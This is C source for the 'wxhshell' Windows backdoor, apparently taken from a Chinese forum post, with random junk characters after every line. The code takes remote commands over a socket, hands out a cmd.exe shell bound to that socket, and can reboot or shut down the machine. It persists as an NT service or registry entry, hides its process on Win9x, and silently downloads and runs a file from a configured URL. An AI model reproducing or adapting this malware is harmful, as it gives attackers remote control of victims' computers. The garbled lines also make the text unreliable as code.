    switch(cmd[0]) { cq'opjLf5  
  0N3 cC4!  
  // 帮助 vjG: 1|*e  
  case '?': { Hz$l)g}U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \1 4"Bgj1  
    break; !Gu,X'#Ab  
  } u49zc9  
  // 安装 tE0DST/  
  case 'i': { &x{CC@g/  
    if(Install()) nu,#y"WQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ./@!k[  
    else lkf(t&vL2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jsS xjf;O  
    break; -UaUFJa8K&  
    } )SZt If  
  // 卸载 - |mWi  
  case 'r': { .5I!h !  
    if(Uninstall()) ]trVlmZXH}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ReOp,A/y  
    else 2= X2M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;aBK4<-vl  
    break; -SaH_Nuj  
    } =whZ?,u1   
  // 显示 wxhshell 所在路径 jw$3cwddH  
  case 'p': { 4C^;lK  
    char svExeFile[MAX_PATH]; P"0S94o:5J  
    strcpy(svExeFile,"\n\r"); O=}4?Xv  
      strcat(svExeFile,ExeFile); '~i} 2e.  
        send(wsh,svExeFile,strlen(svExeFile),0); wZVY h  
    break; P0J3ci}^  
    } BP2-LG&\  
  // 重启 <va3Ly)c&  
  case 'b': { f3e#.jan  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ((A]FOIbO  
    if(Boot(REBOOT)) U@+ @Mc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uR{HCZ-  
    else { #%k!`?^fbK  
    closesocket(wsh); *6~ODiB  
    ExitThread(0); $X_JUzb  
    } @-bX[}.  
    break; _^Lv8a3(O  
    } C.V")D=  
  // 关机 [-!   
  case 'd': { I_@\O!<y}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }}XYV eI  
    if(Boot(SHUTDOWN)) e Ll+F%@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !=@Lyt)_b  
    else { S!qJqZ<Bv  
    closesocket(wsh); `k65&]&d  
    ExitThread(0); Y - 6 ?x  
    } e{8z1t20:  
    break; T9]|*~ ,T  
    } AOQimjW9a  
  // 获取shell /W'GX n  
  case 's': { U'zW; Lt  
    CmdShell(wsh); }^WQNdws56  
    closesocket(wsh); Ei2Y)_   
    ExitThread(0); 78>)<$+d  
    break; an^"_#8DA@  
  } `m?%{ \  
  // 退出 `;b@a<Wl  
  case 'x': { {4Y@ DQ-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `O(ec  
    CloseIt(wsh); :G9+-z{Y&  
    break; 2#l<L>#  
    } ep .AW'+  
  // 离开 <b>@'\w9  
  case 'q': { f>ohu^bd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zws[}G"7h  
    closesocket(wsh); Z`nHpmNM  
    WSACleanup(); LAeJz_9U  
    exit(1); g1VdP[Y#  
    break; LY2oBX@fC  
        } r  H;@N  
  } q}e"E cr  
  } 1VK?Svnd  
0ZPwEP  
  // 提示信息 EZaWEW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /kE3V`es  
} {]<l|qK  
  } zu'Uau  
Ql a'vcT  
  return; !Uz{dFJf;  
} 3}=r.\]U  
L^} Z:I  
// shell模块句柄 Sj;B1&  
int CmdShell(SOCKET sock) [hA%VF.9  
{ "l!WO`.zp=  
STARTUPINFO si; ?>5[~rMn  
ZeroMemory(&si,sizeof(si)); GqumH/;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i`/_^Fndyu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q\ FF)H  
PROCESS_INFORMATION ProcessInfo; yjUZ 40Dq  
char cmdline[]="cmd"; Ov"]&e(I[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PE3FuJGz  
  return 0; QU^*(HGip  
} $Z6g/bD`E  
mZ 39 s  
// 自身启动模式 dt(~)*~R  
int StartFromService(void) ;]zV ?9  
{ lY/{X]T.(  
typedef struct 0xrr9X<  
{ QQUeY2}  
  DWORD ExitStatus; lP& 7U  
  DWORD PebBaseAddress; :8aa#bA  
  DWORD AffinityMask; ^%|,G:r  
  DWORD BasePriority; M*FUtu  
  ULONG UniqueProcessId; P:h;"  
  ULONG InheritedFromUniqueProcessId; J$  
}   PROCESS_BASIC_INFORMATION; `<!Nk^2ap  
j_*$ Avy  
PROCNTQSIP NtQueryInformationProcess; =r"8J5[f  
_O)xE9t#ru  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /!;oO_U:#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XlUM~(7+v  
[ qt hn[3  
  HANDLE             hProcess; O=UXe]D  
  PROCESS_BASIC_INFORMATION pbi; k `JP  
ntbl0Sk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hc OT+L>  
  if(NULL == hInst ) return 0; L;zwqdI  
k8H@0p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |D+"+w/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d4KT wn5g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IWcgh`8  
OV3l)73?t  
  if (!NtQueryInformationProcess) return 0; ,T@+QXh  
i^Vb42%y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M#X8Rs1`  
  if(!hProcess) return 0; 0+MNu8t  
*I6z;.#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |57u;  
1Q\P] -  
  CloseHandle(hProcess); :8b{|}aYV  
{T4F0fu[eR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O 4zD >O  
if(hProcess==NULL) return 0; zaWy7@?  
Klfg:q:j+b  
HMODULE hMod; )!.ef6|  
char procName[255]; A>WMPe:sSS  
unsigned long cbNeeded; it]im  
}5c%v1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m;-FP 2~  
h}-}!v  
  CloseHandle(hProcess); `G*7y7  
zQ3m@x  
if(strstr(procName,"services")) return 1; // 以服务启动 P^V,"B8t  
;6S,|rC ]  
  return 0; // 注册表启动 XN9s!5A<L)  
} V/|).YG2  
:T^!<W4  
// 主模块 wKOljE6d  
int StartWxhshell(LPSTR lpCmdLine) & $E[l'  
{ uQh dg4  
  SOCKET wsl; X[/>{rK  
BOOL val=TRUE; 0VsQ$4'V^  
  int port=0; 4x7(50hp#  
  struct sockaddr_in door; 6. N?=R  
"fK`F/  
  if(wscfg.ws_autoins) Install(); *69{#qN  
-e< d//>  
port=atoi(lpCmdLine); e R Y2.!  
Fp'qn'){:#  
if(port<=0) port=wscfg.ws_port; ^X-3YhJ4U  
<xpOi&l  
  WSADATA data; R_9&V!fl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \kSoDY`l&  
Zoe>Ow8mE`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LXYpP- E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6v8HR}iK  
  door.sin_family = AF_INET; yg({g "  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m$<LO%<~p  
  door.sin_port = htons(port); \:]  
 x{K^u"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hojP3 [  
closesocket(wsl); ]xGo[:k|E  
return 1; /`(Kbwh   
} 0XouHU  
UNLmnj;-Q  
  if(listen(wsl,2) == INVALID_SOCKET) { X3[gi`  
closesocket(wsl); W\]bh'(  
return 1; ;R[  xo!  
} 1 & G0;  
  Wxhshell(wsl); |OW/-&)  
  WSACleanup(); }/tT=G]91  
7$3R}=Z`\q  
return 0; S1jI8 #z}_  
m(0sG(A~  
} 4I7B #{  
\s_lB~"P!3  
// 以NT服务方式启动 rJLn=|uR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <Jt H/oN  
{ ;+v5li  
DWORD   status = 0; Vb{5-v ;a  
  DWORD   specificError = 0xfffffff; [zXKS |  
VnlgX\$}  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  )ph**g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L1J \ C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /V'^$enK!}  
  serviceStatus.dwWin32ExitCode     = 0; U@t" o3E  
  serviceStatus.dwServiceSpecificExitCode = 0; $DPMi9,7^  
  serviceStatus.dwCheckPoint       = 0; /|7@rH([{  
  serviceStatus.dwWaitHint       = 0; tW<i;2 l  
R7)\w P*l5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (!b_o A8V  
  if (hServiceStatusHandle==0) return; UI:YzR  
SZUhZIz&  
status = GetLastError(); \YUl$d0  
  if (status!=NO_ERROR) 5L ]TV\\  
{ 8CXZ7 p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B$A`thQp  
    serviceStatus.dwCheckPoint       = 0; R-7.q  
    serviceStatus.dwWaitHint       = 0; $db]b  
    serviceStatus.dwWin32ExitCode     = status; EY~b,MIL4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4%!#=JCl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (<M^C>pldf  
    return; ?yAp&Ad  
  } +65OR'd  
)1CYs4lp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )"( ojh  
  serviceStatus.dwCheckPoint       = 0; 3k YVk  
  serviceStatus.dwWaitHint       = 0; eZ>KA+ C[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MmIVTf4  
} ^b{-y  
Kmy'z  
// 处理NT服务事件,比如:启动、停止 P9d%80(b4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mM`zA%=  
{ jM <=>P  
switch(fdwControl) /"~ D(bw0=  
{ ]JGh[B1gh  
case SERVICE_CONTROL_STOP: FEOr'H<3x  
  serviceStatus.dwWin32ExitCode = 0; L >* F8|g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OGl>i  
  serviceStatus.dwCheckPoint   = 0; M't~/&D#  
  serviceStatus.dwWaitHint     = 0; |X}H&wBWo  
  { j[E8C$lW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :+ASZE.  
  } U2Uf69R  
  return; 7CKpt.Sz6  
case SERVICE_CONTROL_PAUSE: CMQlxX?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !WTZ =|  
  break; x" N{5  
case SERVICE_CONTROL_CONTINUE: g>k"R4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oAnNdo  
  break; A/bxxB7w  
case SERVICE_CONTROL_INTERROGATE: VV_Zrje  
  break; ?(C(9vO  
}; U,G!u=+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  uj8G6'm%  
} Kmk}Yz  
Z`_`^ \"  
// 标准应用程序主函数 8}B*a;d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R,Gr{"H  
{ G,jv Mb`+  
w)Rtt 9  
// 获取操作系统版本 |_<'q h  
OsIsNt=GetOsVer(); XsH(8-n0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q,e{t#t  
y#Cp Vm#!>  
  // 从命令行安装 YwbRzY-#F  
  if(strpbrk(lpCmdLine,"iI")) Install(); d]3c44kkK{  
j|6@>T1  
  // 下载执行文件 6}V)\"u&   
if(wscfg.ws_downexe) { 4=; . <  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XwZ~pY ~  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z`FEB0$  
} ' 91-\en0  
AD$$S.zoD<  
if(!OsIsNt) { |3Fo4K%+  
// 如果时win9x,隐藏进程并且设置为注册表启动 0n FEPMO  
HideProc(); V XE85  
StartWxhshell(lpCmdLine); \vH /bL  
} qcNu9Ih  
else Ou26QoT9XI  
  if(StartFromService()) Gky e  
  // 以服务方式启动 L9lNAiOH  
  StartServiceCtrlDispatcher(DispatchTable); |*G$ilu  
else dz3KBiq  
  // 普通方式启动 ?MW *`U  
  StartWxhshell(lpCmdLine); 9+z5 $  
v?BVUH>#9  
return 0; J 8!D."'Q0  
}
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只看该作者 1 发表于: 2006-10-10
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